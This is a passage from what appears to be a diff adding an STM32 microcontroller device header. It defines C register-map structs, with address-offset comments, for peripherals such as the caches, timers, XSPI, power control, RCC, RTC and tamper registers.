uint32_t FCR; /*!< ICACHE Flag clear register, Address offset: 0x0C */ + __IO uint32_t HMONR; /*!< ICACHE hit monitor register, Address offset: 0x10 */ + __IO uint32_t MMONR; /*!< ICACHE miss monitor register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x018-0x01C */ + __IO uint32_t CRR0; /*!< ICACHE region 0 configuration register, Address offset: 0x20 */ + __IO uint32_t CRR1; /*!< ICACHE region 1 configuration register, Address offset: 0x24 */ + __IO uint32_t CRR2; /*!< ICACHE region 2 configuration register, Address offset: 0x28 */ + __IO uint32_t CRR3; /*!< ICACHE region 3 configuration register, Address offset: 0x2C */ +} ICACHE_TypeDef; + +/** + * @brief Data Cache + */ +typedef struct +{ + __IO uint32_t CR; /*!< DCACHE control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< DCACHE status register, Address offset: 0x04 */ + __IO uint32_t IER; /*!< DCACHE interrupt enable register, Address offset: 0x08 */ + __IO uint32_t FCR; /*!< DCACHE Flag clear register, Address offset: 0x0C */ + __IO uint32_t RHMONR; /*!< DCACHE Read hit monitor register, Address offset: 0x10 */ + __IO uint32_t RMMONR; /*!< DCACHE Read miss monitor register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x18-0x1C */ + __IO uint32_t WHMONR; /*!< DCACHE Write hit monitor register, Address offset: 0x20 */ + __IO uint32_t WMMONR; /*!< DCACHE Write miss monitor register, Address offset: 0x24 */ + __IO uint32_t CMDRSADDRR; /*!< DCACHE Command Start Address register, Address offset: 0x28 */ + __IO uint32_t CMDREADDRR; /*!< DCACHE Command End Address register, Address offset: 0x2C */ +} DCACHE_TypeDef; + +/** + * @brief PSSI + */ +typedef struct +{ + __IO uint32_t CR; /*!< PSSI control register, Address offset: 0x000 */ + __IO uint32_t SR; /*!< PSSI status register, Address offset: 0x004 */ + __IO uint32_t RIS; /*!< PSSI raw interrupt status register, Address offset: 0x008 */ + __IO uint32_t IER; /*!< PSSI interrupt enable register, Address offset: 0x00C */ + __IO uint32_t MIS; /*!< PSSI masked interrupt status register, Address offset: 0x010 */ + __IO uint32_t ICR; /*!< PSSI interrupt clear register, Address offset: 0x014 */ + __IO uint32_t RESERVED1[4]; /*!< Reserved, 0x018 - 0x024 */ + __IO uint32_t DR; /*!< PSSI data register, Address offset: 0x028 */ +} PSSI_TypeDef; + +/** + * @brief TIM + */ +typedef struct +{ + __IO uint32_t CR1; /*!< TIM control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< TIM control register 2, Address offset: 0x04 */ + __IO uint32_t SMCR; /*!< TIM slave mode control register, Address offset: 0x08 */ + __IO uint32_t DIER; /*!< TIM DMA/interrupt enable register, Address offset: 0x0C */ + __IO uint32_t SR; /*!< TIM status register, Address offset: 0x10 */ + __IO uint32_t EGR; /*!< TIM event generation register, Address offset: 0x14 */ + __IO uint32_t CCMR1; /*!< TIM capture/compare mode register 1, Address offset: 0x18 */ + __IO uint32_t CCMR2; /*!< TIM capture/compare mode register 2, Address offset: 0x1C */ + __IO uint32_t CCER; /*!< TIM capture/compare enable register, Address offset: 0x20 */ + __IO uint32_t CNT; /*!< TIM counter register, Address offset: 0x24 */ + __IO uint32_t PSC; /*!< TIM prescaler, Address offset: 0x28 */ + __IO uint32_t ARR; /*!< TIM auto-reload register, Address offset: 0x2C */ + __IO uint32_t RCR; /*!< TIM repetition counter register, Address offset: 0x30 */ + __IO uint32_t CCR1; /*!< TIM capture/compare register 1, Address offset: 0x34 */ + __IO uint32_t CCR2; /*!< TIM capture/compare register 2, Address offset: 0x38 */ + __IO uint32_t CCR3; /*!< TIM capture/compare register 3, Address offset: 0x3C */ + __IO uint32_t CCR4; /*!< TIM capture/compare register 4, Address offset: 0x40 */ + __IO uint32_t BDTR; /*!< TIM break and dead-time register, Address offset: 0x44 */ + __IO uint32_t CCR5; /*!< TIM capture/compare register 5, Address offset: 0x48 */ + __IO uint32_t CCR6; /*!< TIM capture/compare register 6, Address offset: 0x4C */ + __IO uint32_t CCMR3; /*!< TIM capture/compare mode register 3, Address offset: 0x50 */ + __IO uint32_t DTR2; /*!< TIM deadtime register 2, Address offset: 0x54 */ + __IO uint32_t ECR; /*!< TIM encoder control register, Address offset: 0x58 */ + __IO uint32_t TISEL; /*!< TIM Input Selection register, Address offset: 0x5C */ + __IO uint32_t AF1; /*!< TIM alternate function option register 1, Address offset: 0x60 */ + __IO uint32_t AF2; /*!< TIM alternate function option register 2, Address offset: 0x64 */ + __IO uint32_t OR1 ; /*!< TIM option register, Address offset: 0x68 */ + uint32_t RESERVED0[220];/*!< Reserved, Address offset: 0x6C */ + __IO uint32_t DCR; /*!< TIM DMA control register, Address offset: 0x3DC */ + __IO uint32_t DMAR; /*!< TIM DMA address for full transfer, Address offset: 0x3E0 */ +} TIM_TypeDef; + +/** + * @brief LPTIMER + */ +typedef struct +{ + __IO uint32_t ISR; /*!< LPTIM Interrupt and Status register, Address offset: 0x00 */ + __IO uint32_t ICR; /*!< LPTIM Interrupt Clear register, Address offset: 0x04 */ + __IO uint32_t DIER; /*!< LPTIM Interrupt Enable register, Address offset: 0x08 */ + __IO uint32_t CFGR; /*!< LPTIM Configuration register, Address offset: 0x0C */ + __IO uint32_t CR; /*!< LPTIM Control register, Address offset: 0x10 */ + __IO uint32_t CCR1; /*!< LPTIM Capture/Compare register 1, Address offset: 0x14 */ + __IO uint32_t ARR; /*!< LPTIM Autoreload register, Address offset: 0x18 */ + __IO uint32_t CNT; /*!< LPTIM Counter register, Address offset: 0x1C */ + __IO uint32_t RESERVED0; /*!< Reserved, Address offset: 0x20 */ + __IO uint32_t CFGR2; /*!< LPTIM Configuration register 2, Address offset: 0x24 */ + __IO uint32_t RCR; /*!< LPTIM Repetition register, Address offset: 0x28 */ + __IO uint32_t CCMR1; /*!< LPTIM Capture/Compare mode register, Address offset: 0x2C */ + __IO uint32_t RESERVED1; /*!< Reserved, Address offset: 0x30 */ + __IO uint32_t CCR2; /*!< LPTIM Capture/Compare register 2, Address offset: 0x34 */ +} LPTIM_TypeDef; + +/** + * @brief Comparator + */ +typedef struct +{ + __IO uint32_t CSR; /*!< Comparator control and status register, Address offset: 0x00 */ +} COMP_TypeDef; + +typedef struct +{ + __IO uint32_t CSR_ODD; /*!< COMP control and status register located in register of comparator instance odd, used for bits common to several COMP instances, Address offset: 0x00 */ + __IO uint32_t CSR_EVEN; /*!< COMP control and status register located in register of comparator instance even, used for bits common to several COMP instances, Address offset: 0x04 */ +} COMP_Common_TypeDef; + +/** + * @brief Operational Amplifier (OPAMP) + */ +typedef struct +{ + __IO uint32_t CSR; /*!< OPAMP control/status register, Address offset: 0x00 */ + __IO uint32_t OTR; /*!< OPAMP offset trimming register for normal mode, Address offset: 0x04 */ + __IO uint32_t LPOTR; /*!< OPAMP offset trimming register for low power mode, Address offset: 0x08 */ +} OPAMP_TypeDef; + +typedef struct +{ + __IO uint32_t CSR; /*!< OPAMP control/status register, used for bits common to + several OPAMP instances, Address offset: 0x00 */ +} OPAMP_Common_TypeDef; + + +/** + * @brief MDF/ADF + */ +typedef struct +{ + __IO uint32_t GCR; /*!< MDF Global Control register, Address offset: 0x00 */ + __IO uint32_t CKGCR; /*!< MDF Clock Generator Control Register, Address offset: 0x04 */ + uint32_t RESERVED1[6]; /*!< Reserved, 0x08-0x1C */ + __IO uint32_t OR; /*!< MDF Option Register, Address offset: 0x20 */ +}MDF_TypeDef; + +/** + * @brief MDF/ADF filter + */ +typedef struct +{ + __IO uint32_t SITFCR; /*!< MDF Serial Interface Control Register, Address offset: 0x80 */ + __IO uint32_t BSMXCR; /*!< MDF Bitstream Matrix Control Register, Address offset: 0x84 */ + __IO uint32_t DFLTCR; /*!< MDF Digital Filter Control Register, Address offset: 0x88 */ + __IO uint32_t DFLTCICR; /*!< MDF MCIC Configuration Register, Address offset: 0x8C */ + __IO uint32_t DFLTRSFR; /*!< MDF Reshape Filter Configuration Register, Address offset: 0x90 */ + __IO uint32_t DFLTINTR; /*!< MDF Integrator Configuration Register, Address offset: 0x94 */ + __IO uint32_t OLDCR; /*!< MDF Out-Of Limit Detector Control Register, Address offset: 0x98 */ + __IO uint32_t OLDTHLR; /*!< MDF OLD Threshold Low Register, Address offset: 0x9C */ + __IO uint32_t OLDTHHR; /*!< MDF OLD Threshold High Register, Address offset: 0xA0 */ + __IO uint32_t DLYCR; /*!< MDF Delay control Register, Address offset: 0xA4 */ + __IO uint32_t SCDCR; /*!< MDF short circuit detector control Register, Address offset: 0xA8 */ + __IO uint32_t DFLTIER; /*!< MDF DFLT Interrupt enable Register, Address offset: 0xAC */ + __IO uint32_t DFLTISR; /*!< MDF DFLT Interrupt status Register, Address offset: 0xB0 */ + __IO uint32_t OECCR; /*!< MDF Offset Error Compensation Control Register, Address offset: 0xB4 */ + __IO uint32_t SADCR; /*!< MDF SAD Control Register, Address offset: 0xB8 */ + __IO uint32_t SADCFGR; /*!< MDF SAD configuration register, Address offset: 0xBC */ + __IO uint32_t SADSDLVR; /*!< MDF SAD Sound level Register, Address offset: 0xC0 */ + __IO uint32_t SADANLVR; /*!< MDF SAD Ambient Noise level Register, Address offset: 0xC4 */ + uint32_t RESERVED1[9]; /*!< Reserved, 0xC8-0xE8 */ + __IO uint32_t SNPSDR; /*!< MDF Snapshot Data Register, Address offset: 0xEC */ + __IO uint32_t DFLTDR; /*!< MDF Digital Filter Data Register, Address offset: 0xF0 */ +} MDF_Filter_TypeDef; + +/** + * @brief HEXA and OCTO Serial Peripheral Interface + */ + +typedef struct +{ + __IO uint32_t CR; /*!< XSPI Control register, Address offset: 0x000 */ + uint32_t RESERVED; /*!< Reserved, Address offset: 0x004 */ + __IO uint32_t DCR1; /*!< XSPI Device Configuration register 1, Address offset: 0x008 */ + __IO uint32_t DCR2; /*!< XSPI Device Configuration register 2, Address offset: 0x00C */ + __IO uint32_t DCR3; /*!< XSPI Device Configuration register 3, Address offset: 0x010 */ + __IO uint32_t DCR4; /*!< XSPI Device Configuration register 4, Address offset: 0x014 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x018-0x01C */ + __IO uint32_t SR; /*!< XSPI Status register, Address offset: 0x020 */ + __IO uint32_t FCR; /*!< XSPI Flag Clear register, Address offset: 0x024 */ + uint32_t RESERVED2[6]; /*!< Reserved, Address offset: 0x028-0x03C */ + __IO uint32_t DLR; /*!< XSPI Data Length register, Address offset: 0x040 */ + uint32_t RESERVED3; /*!< Reserved, Address offset: 0x044 */ + __IO uint32_t AR; /*!< XSPI Address register, Address offset: 0x048 */ + uint32_t RESERVED4; /*!< Reserved, Address offset: 0x04C */ + __IO uint32_t DR; /*!< XSPI Data register, Address offset: 0x050 */ + uint32_t RESERVED5[11]; /*!< Reserved, Address offset: 0x054-0x07C */ + __IO uint32_t PSMKR; /*!< XSPI Polling Status Mask register, Address offset: 0x080 */ + uint32_t RESERVED6; /*!< Reserved, Address offset: 0x084 */ + __IO uint32_t PSMAR; /*!< XSPI Polling Status Match register, Address offset: 0x088 */ + uint32_t RESERVED7; /*!< Reserved, Address offset: 0x08C */ + __IO uint32_t PIR; /*!< XSPI Polling Interval register, Address offset: 0x090 */ + uint32_t RESERVED8[27]; /*!< Reserved, Address offset: 0x094-0x0FC */ + __IO uint32_t CCR; /*!< XSPI Communication Configuration register, Address offset: 0x100 */ + uint32_t RESERVED9; /*!< Reserved, Address offset: 0x104 */ + __IO uint32_t TCR; /*!< XSPI Timing Configuration register, Address offset: 0x108 */ + uint32_t RESERVED10; /*!< Reserved, Address offset: 0x10C */ + __IO uint32_t IR; /*!< XSPI Instruction register, Address offset: 0x110 */ + uint32_t RESERVED11[3]; /*!< Reserved, Address offset: 0x114-0x11C */ + __IO uint32_t ABR; /*!< XSPI Alternate Bytes register, Address offset: 0x120 */ + uint32_t RESERVED12[3]; /*!< Reserved, Address offset: 0x124-0x12C */ + __IO uint32_t LPTR; /*!< XSPI Low Power Timeout register, Address offset: 0x130 */ + uint32_t RESERVED13[3]; /*!< Reserved, Address offset: 0x134-0x13C */ + __IO uint32_t WPCCR; /*!< XSPI Wrap Communication Configuration register, Address offset: 0x140 */ + uint32_t RESERVED14; /*!< Reserved, Address offset: 0x144 */ + __IO uint32_t WPTCR; /*!< XSPI Wrap Timing Configuration register, Address offset: 0x148 */ + uint32_t RESERVED15; /*!< Reserved, Address offset: 0x14C */ + __IO uint32_t WPIR; /*!< XSPI Wrap Instruction register, Address offset: 0x150 */ + uint32_t RESERVED16[3]; /*!< Reserved, Address offset: 0x154-0x15C */ + __IO uint32_t WPABR; /*!< XSPI Wrap Alternate Bytes register, Address offset: 0x160 */ + uint32_t RESERVED17[7]; /*!< Reserved, Address offset: 0x164-0x17C */ + __IO uint32_t WCCR; /*!< XSPI Write Communication Configuration register, Address offset: 0x180 */ + uint32_t RESERVED18; /*!< Reserved, Address offset: 0x184 */ + __IO uint32_t WTCR; /*!< XSPI Write Timing Configuration register, Address offset: 0x188 */ + uint32_t RESERVED19; /*!< Reserved, Address offset: 0x18C */ + __IO uint32_t WIR; /*!< XSPI Write Instruction register, Address offset: 0x190 */ + uint32_t RESERVED20[3]; /*!< Reserved, Address offset: 0x194-0x19C */ + __IO uint32_t WABR; /*!< XSPI Write Alternate Bytes register, Address offset: 0x1A0 */ + uint32_t RESERVED21[23]; /*!< Reserved, Address offset: 0x1A4-0x1FC */ + __IO uint32_t HLCR; /*!< XSPI Hyperbus Latency Configuration register, Address offset: 0x200 */ + uint32_t RESERVED22[3]; /*!< Reserved, Address offset: 0x204-0x20C */ + __IO uint32_t CALFCR; /*!< XSPI Full-cycle calibration configuration + HSPI only, invalid for OCTOSPI, Address offset: 0x210 */ + uint32_t RESERVED23; /*!< Reserved, Address offset: 0x214 */ + __IO uint32_t CALMR; /*!< XSPI DLL master calibration configuration + HSPI only, invalid for OCTOSPI, Address offset: 0x218 */ + uint32_t RESERVED24; /*!< Reserved, Address offset: 0x21C */ + __IO uint32_t CALSOR; /*!< XSPI slave output calibration configuration + HSPI only, invalid for OCTOSPI, Address offset: 0x220 */ + uint32_t RESERVED25; /*!< Reserved, Address offset: 0x224 */ + __IO uint32_t CALSIR; /*!< XSPI slave input calibration configuration + HSPI only, invalid for OCTOSPI, Address offset: 0x228 */ +} XSPI_TypeDef; + +typedef XSPI_TypeDef OCTOSPI_TypeDef; + +typedef XSPI_TypeDef HSPI_TypeDef; + + +/** + * @brief Serial Peripheral Interface IO Manager + */ +typedef struct +{ + __IO uint32_t CR; /*!< OCTOSPIM IO Manager Control register, Address offset: 0x00 */ + __IO uint32_t PCR[8]; /*!< OCTOSPIM IO Manager Port[1:8] Configuration register, Address offset: 0x04-0x20 */ +} XSPIM_TypeDef; + +typedef XSPIM_TypeDef OCTOSPIM_TypeDef; + +/** + * @brief Power Control + */ +typedef struct +{ + __IO uint32_t CR1; /*!< Power control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< Power control register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< Power control register 3, Address offset: 0x08 */ + __IO uint32_t VOSR; /*!< Power voltage scaling register, Address offset: 0x0C */ + __IO uint32_t SVMCR; /*!< Power supply voltage monitoring control register, Address offset: 0x10 */ + __IO uint32_t WUCR1; /*!< Power wakeup control register 1, Address offset: 0x14 */ + __IO uint32_t WUCR2; /*!< Power wakeup control register 2, Address offset: 0x18 */ + __IO uint32_t WUCR3; /*!< Power wakeup control register 3, Address offset: 0x1C */ + __IO uint32_t BDCR1; /*!< Power backup domain control register 1, Address offset: 0x20 */ + __IO uint32_t BDCR2; /*!< Power backup domain control register 2, Address offset: 0x24 */ + __IO uint32_t DBPR; /*!< Power disable backup domain register, Address offset: 0x28 */ + __IO uint32_t UCPDR; /*!< Power USB Type-C and Power Delivery register, Address offset: 0x2C */ + __IO uint32_t SECCFGR; /*!< Power Security configuration register, Address offset: 0x30 */ + __IO uint32_t PRIVCFGR; /*!< Power privilege control register, Address offset: 0x34 */ + __IO uint32_t SR; /*!< Power status register, Address offset: 0x38 */ + __IO uint32_t SVMSR; /*!< Power supply voltage monitoring status register, Address offset: 0x3C */ + __IO uint32_t BDSR; /*!< Power backup domain status register, Address offset: 0x40 */ + __IO uint32_t WUSR; /*!< Power wakeup status register, Address offset: 0x44 */ + __IO uint32_t WUSCR; /*!< Power wakeup status clear register, Address offset: 0x48 */ + __IO uint32_t APCR; /*!< Power apply pull configuration register, Address offset: 0x4C */ + __IO uint32_t PUCRA; /*!< Power Port A pull-up control register, Address offset: 0x50 */ + __IO uint32_t PDCRA; /*!< Power Port A pull-down control register, Address offset: 0x54 */ + __IO uint32_t PUCRB; /*!< Power Port B pull-up control register, Address offset: 0x58 */ + __IO uint32_t PDCRB; /*!< Power Port B pull-down control register, Address offset: 0x5C */ + __IO uint32_t PUCRC; /*!< Power Port C pull-up control register, Address offset: 0x60 */ + __IO uint32_t PDCRC; /*!< Power Port C pull-down control register, Address offset: 0x64 */ + __IO uint32_t PUCRD; /*!< Power Port D pull-up control register, Address offset: 0x68 */ + __IO uint32_t PDCRD; /*!< Power Port D pull-down control register, Address offset: 0x6C */ + __IO uint32_t PUCRE; /*!< Power Port E pull-up control register, Address offset: 0x70 */ + __IO uint32_t PDCRE; /*!< Power Port E pull-down control register, Address offset: 0x74 */ + __IO uint32_t PUCRF; /*!< Power Port F pull-up control register, Address offset: 0x78 */ + __IO uint32_t PDCRF; /*!< Power Port F pull-down control register, Address offset: 0x7C */ + __IO uint32_t PUCRG; /*!< Power Port G pull-up control register, Address offset: 0x80 */ + __IO uint32_t PDCRG; /*!< Power Port G pull-down control register, Address offset: 0x84 */ + __IO uint32_t PUCRH; /*!< Power Port H pull-up control register, Address offset: 0x88 */ + __IO uint32_t PDCRH; /*!< Power Port H pull-down control register, Address offset: 0x8C */ + __IO uint32_t PUCRI; /*!< Power Port I pull-up control register, Address offset: 0x90 */ + __IO uint32_t PDCRI; /*!< Power Port I pull-down control register, Address offset: 0x94 */ + __IO uint32_t PUCRJ; /*!< Power Port J pull-up control register, Address offset: 0x98 */ + __IO uint32_t PDCRJ; /*!< Power Port J pull-down control register, Address offset: 0x9C */ + uint32_t RESERVED3[2]; /*!< Reserved3, Address offset: 0x0A0-0x0A4 */ + __IO uint32_t CR4; /*!< Power power control register 4, Address offset: 0xA8 */ +} PWR_TypeDef; + +/** + * @brief SRAMs configuration controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< Control Register, Address offset: 0x00 */ + __IO uint32_t IER; /*!< Interrupt Enable Register, Address offset: 0x04 */ + __IO uint32_t ISR; /*!< Interrupt Status Register, Address offset: 0x08 */ + __IO uint32_t SEAR; /*!< ECC Single Error Address Register, Address offset: 0x0C */ + __IO uint32_t DEAR; /*!< ECC Double Error Address Register, Address offset: 0x10 */ + __IO uint32_t ICR; /*!< Interrupt Clear Register, Address offset: 0x14 */ + __IO uint32_t WPR1; /*!< SRAM Write Protection Register 1, Address offset: 0x18 */ + __IO uint32_t WPR2; /*!< SRAM Write Protection Register 2, Address offset: 0x1C */ + uint32_t RESERVED; /*!< Reserved, Address offset: 0x20 */ + __IO uint32_t ECCKEY; /*!< SRAM ECC Key Register, Address offset: 0x24 */ + __IO uint32_t ERKEYR; /*!< SRAM Erase Key Register, Address offset: 0x28 */ +}RAMCFG_TypeDef; + +/** + * @brief Reset and Clock Control + */ +typedef struct +{ + __IO uint32_t CR; /*!< RCC clock control register Address offset: 0x00 */ + uint32_t RESERVED0; /*!< Reserved Address offset: 0x04 */ + __IO uint32_t ICSCR1; /*!< RCC internal clock sources calibration register 1 Address offset: 0x08 */ + __IO uint32_t ICSCR2; /*!< RCC internal clock sources calibration register 2 Address offset: 0x0C */ + __IO uint32_t ICSCR3; /*!< RCC internal clock sources calibration register 3 Address offset: 0x10 */ + __IO uint32_t CRRCR; /*!< RCC Clock Recovery RC Register Address offset: 0x14 */ + uint32_t RESERVED1; /*!< Reserved Address offset: 0x18 */ + __IO uint32_t CFGR1; /*!< RCC clock configuration register 1 Address offset: 0x1C */ + __IO uint32_t CFGR2; /*!< RCC clock configuration register 2 Address offset: 0x20 */ + __IO uint32_t CFGR3; /*!< RCC clock configuration register 3 Address offset: 0x24 */ + __IO uint32_t PLL1CFGR; /*!< PLL1 Configuration Register Address offset: 0x28 */ + __IO uint32_t PLL2CFGR; /*!< PLL2 Configuration Register Address offset: 0x2C */ + __IO uint32_t PLL3CFGR; /*!< PLL3 Configuration Register Address offset: 0x30 */ + __IO uint32_t PLL1DIVR; /*!< PLL1 Dividers Configuration Register Address offset: 0x34 */ + __IO uint32_t PLL1FRACR; /*!< PLL1 Fractional Divider Configuration Register Address offset: 0x38 */ + __IO uint32_t PLL2DIVR; /*!< PLL2 Dividers Configuration Register Address offset: 0x3C */ + __IO uint32_t PLL2FRACR; /*!< PLL2 Fractional Divider Configuration Register Address offset: 0x40 */ + __IO uint32_t PLL3DIVR; /*!< PLL3 Dividers Configuration Register Address offset: 0x44 */ + __IO uint32_t PLL3FRACR; /*!< PLL3 Fractional Divider Configuration Register Address offset: 0x48 */ + uint32_t RESERVED2; /*!< Reserved Address offset: 0x4C */ + __IO uint32_t CIER; /*!< Clock Interrupt Enable Register Address offset: 0x50 */ + __IO uint32_t CIFR; /*!< Clock Interrupt Flag Register Address offset: 0x54 */ + __IO uint32_t CICR; /*!< Clock Interrupt Clear Register Address offset: 0x58 */ + uint32_t RESERVED3; /*!< Reserved Address offset: 0x5C */ + __IO uint32_t AHB1RSTR; /*!< AHB1 Peripherals Reset Register Address offset: 0x60 */ + __IO uint32_t AHB2RSTR1; /*!< AHB2 Peripherals Reset Register 1 Address offset: 0x64 */ + __IO uint32_t AHB2RSTR2; /*!< AHB2 Peripherals Reset Register 2 Address offset: 0x68 */ + __IO uint32_t AHB3RSTR; /*!< AHB3 Peripherals Reset Register Address offset: 0x6C */ + uint32_t RESERVED4; /*!< Reserved Address offset: 0x70 */ + __IO uint32_t APB1RSTR1; /*!< APB1 Peripherals Reset Register 1 Address offset: 0x74 */ + __IO uint32_t APB1RSTR2; /*!< APB1 Peripherals Reset Register 2 Address offset: 0x78 */ + __IO uint32_t APB2RSTR; /*!< APB2 Peripherals Reset Register Address offset: 0x7C */ + __IO uint32_t APB3RSTR; /*!< APB3 Peripherals Reset Register Address offset: 0x80 */ + uint32_t RESERVED5; /*!< Reserved Address offset: 0x84 */ + __IO uint32_t AHB1ENR; /*!< AHB1 Peripherals Clock Enable Register Address offset: 0x88 */ + __IO uint32_t AHB2ENR1; /*!< AHB2 Peripherals Clock Enable Register 1 Address offset: 0x8C */ + __IO uint32_t AHB2ENR2; /*!< AHB2 Peripherals Clock Enable Register 2 Address offset: 0x90 */ + __IO uint32_t AHB3ENR; /*!< AHB3 Peripherals Clock Enable Register Address offset: 0x94 */ + uint32_t RESERVED6; /*!< Reserved Address offset: 0x98 */ + __IO uint32_t APB1ENR1; /*!< APB1 Peripherals Clock Enable Register 1 Address offset: 0x9C */ + __IO uint32_t APB1ENR2; /*!< APB1 Peripherals Clock Enable Register 2 Address offset: 0xA0 */ + __IO uint32_t APB2ENR; /*!< APB2 Peripherals Clock Enable Register Address offset: 0xA4 */ + __IO uint32_t APB3ENR; /*!< APB3 Peripherals Clock Enable Register Address offset: 0xA8 */ + uint32_t RESERVED7; /*!< Reserved Address offset: 0xAC */ + __IO uint32_t AHB1SMENR; /*!< AHB1 Peripherals Clock Enable in Sleep and Stop Modes Register Address offset: 0xB0 */ + __IO uint32_t AHB2SMENR1; /*!< AHB2 Peripherals Clock Enable in Sleep and Stop Modes Register 1 Address offset: 0xB4 */ + __IO uint32_t AHB2SMENR2; /*!< AHB2 Peripherals Clock Enable in Sleep and Stop Modes Register 2 Address offset: 0xB8 */ + __IO uint32_t AHB3SMENR; /*!< AHB3 Peripherals Clock Enable in Sleep and Stop Modes Register Address offset: 0xBC */ + uint32_t RESERVED8; /*!< Reserved Address offset: 0xC0 */ + __IO uint32_t APB1SMENR1; /*!< APB1 Peripherals Clock Enable in Sleep and Stop Modes Register 1 Address offset: 0xC4 */ + __IO uint32_t APB1SMENR2; /*!< APB1 Peripherals Clock Enable in Sleep and Stop Modes Register 2 Address offset: 0xC8 */ + __IO uint32_t APB2SMENR; /*!< APB2 Peripherals Clock Enable in Sleep and Stop Modes Register 1 Address offset: 0xCC */ + __IO uint32_t APB3SMENR; /*!< APB3 Peripherals Clock Enable in Sleep and Stop Modes Register 2 Address offset: 0xD0 */ + uint32_t RESERVED9; /*!< Reserved Address offset: 0xD4 */ + __IO uint32_t SRDAMR; /*!< SRD Autonomous Mode Register Address offset: 0xD8 */ + uint32_t RESERVED10; /*!< Reserved, Address offset: 0xDC */ + __IO uint32_t CCIPR1; /*!< IPs Clocks Configuration Register 1 Address offset: 0xE0 */ + __IO uint32_t CCIPR2; /*!< IPs Clocks Configuration Register 2 Address offset: 0xE4 */ + __IO uint32_t CCIPR3; /*!< IPs Clocks Configuration Register 3 Address offset: 0xE8 */ + uint32_t RESERVED11; /*!< Reserved, Address offset: 0xEC */ + __IO uint32_t BDCR; /*!< Backup Domain Control Register Address offset: 0xF0 */ + __IO uint32_t CSR; /*!< V33 Clock Control & Status Register Address offset: 0xF4 */ + uint32_t RESERVED[6]; /*!< Reserved Address offset: 0xF8 */ + __IO uint32_t SECCFGR; /*!< RCC secure configuration register Address offset: 0x110 */ + __IO uint32_t PRIVCFGR; /*!< RCC privilege configuration register Address offset: 0x114 */ +} RCC_TypeDef; + +/* +* @brief RTC Specific device feature definitions +*/ +#define RTC_BKP_NB 32U +#define RTC_TAMP_NB 8U + +/** + * @brief Real-Time Clock + */ +typedef struct +{ + __IO uint32_t TR; /*!< RTC time register, Address offset: 0x00 */ + __IO uint32_t DR; /*!< RTC date register, Address offset: 0x04 */ + __IO uint32_t SSR; /*!< RTC sub second register, Address offset: 0x08 */ + __IO uint32_t ICSR; /*!< RTC initialization control and status register, Address offset: 0x0C */ + __IO uint32_t PRER; /*!< RTC prescaler register, Address offset: 0x10 */ + __IO uint32_t WUTR; /*!< RTC wakeup timer register, Address offset: 0x14 */ + __IO uint32_t CR; /*!< RTC control register, Address offset: 0x18 */ + __IO uint32_t PRIVCFGR; /*!< RTC privilege mode control register, Address offset: 0x1C */ + __IO uint32_t SECCFGR; /*!< RTC secure mode control register, Address offset: 0x20 */ + __IO uint32_t WPR; /*!< RTC write protection register, Address offset: 0x24 */ + __IO uint32_t CALR; /*!< RTC calibration register, Address offset: 0x28 */ + __IO uint32_t SHIFTR; /*!< RTC shift control register, Address offset: 0x2C */ + __IO uint32_t TSTR; /*!< RTC time stamp time register, Address offset: 0x30 */ + __IO uint32_t TSDR; /*!< RTC time stamp date register, Address offset: 0x34 */ + __IO uint32_t TSSSR; /*!< RTC time-stamp sub second register, Address offset: 0x38 */ + uint32_t RESERVED0; /*!< Reserved, Address offset: 0x3C */ + __IO uint32_t ALRMAR; /*!< RTC alarm A register, Address offset: 0x40 */ + __IO uint32_t ALRMASSR; /*!< RTC alarm A sub second register, Address offset: 0x44 */ + __IO uint32_t ALRMBR; /*!< RTC alarm B register, Address offset: 0x48 */ + __IO uint32_t ALRMBSSR; /*!< RTC alarm B sub second register, Address offset: 0x4C */ + __IO uint32_t SR; /*!< RTC Status register, Address offset: 0x50 */ + __IO uint32_t MISR; /*!< RTC masked interrupt status register, Address offset: 0x54 */ + __IO uint32_t SMISR; /*!< RTC secure masked interrupt status register, Address offset: 0x58 */ + __IO uint32_t SCR; /*!< RTC status Clear register, Address offset: 0x5C */ + uint32_t RESERVED4[4];/*!< Reserved, Address offset: 0x58 */ + __IO uint32_t ALRABINR; /*!< RTC alarm A binary mode register, Address offset: 0x70 */ + __IO uint32_t ALRBBINR; /*!< RTC alarm B binary mode register, Address offset: 0x74 */ +} RTC_TypeDef; + +/** + * @brief Tamper and backup registers + */ +typedef struct +{ + __IO uint32_t CR1; /*!< TAMP configuration register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< TAMP configuration register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< TAMP configuration register 3, Address offset: 0x08 */ + __IO uint32_t FLTCR; /*!< TAMP filter control register, Address offset: 0x0C */ + __IO uint32_t ATCR1; /*!< TAMP filter control register 1 Address offset: 0x10 */ + __IO uint32_t ATSEEDR; /*!< TAMP active tamper seed register, Address offset: 0x14 */ + __IO uint32_t ATOR; /*!< TAMP active tamper output register, Address offset: 0x18 */ + __IO uint32_t ATCR2; /*!< TAMP filter control register 2, Address offset: 0x1C */ + __IO uint32_t SECCFGR; /*!< TAMP secure mode control register, Address offset: 0x20 */ + __IO uint32_t PRIVCFGR; /*!< TAMP privilege mode control register, Address offset: 0x24 */ + uint32_t RESERVED0; /*!< Reserved, Address offset: 0x28 */ + __IO uint32_t IER; /*!< TAMP interrupt enable register, Address offset: 0x2C */ + __IO uint32_t SR; /*!< TAMP status register, Address offset: 0x30 */ + __IO uint32_t MISR; /*!< TAMP masked interrupt status register, Address offset: 0x34 */ + __IO uint32_t SMISR; /*!< TAMP secure masked interrupt status register,Address offset: 0x38 */ + __IO uint32_t SCR; /*!< TAMP status clear register, Address offset: 0x3C */ + __IO uint32_t COUNTR; /*!< TAMP monotonic counter register, Address offset: 0x40 */ + uint32_t RESERVED1[4]; /*!< Reserved, Address offset: 0x43 -- 0x50 */ + __IO uint32_t ERCFGR; /*!< TAMP erase configuration register, Address offset: 0x54 */ + uint32_t RESERVED2[42]; /*!< Reserved, Address offset: 0x58 -- 0xFC */ + __IO uint32_t BKP0R; /*!< TAMP backup register 0, Address offset: 0x100 */ + __IO uint32_t BKP1R; /*!< TAMP backup register 1, Address offset: 0x104 */ + __IO uint32_t BKP2R; 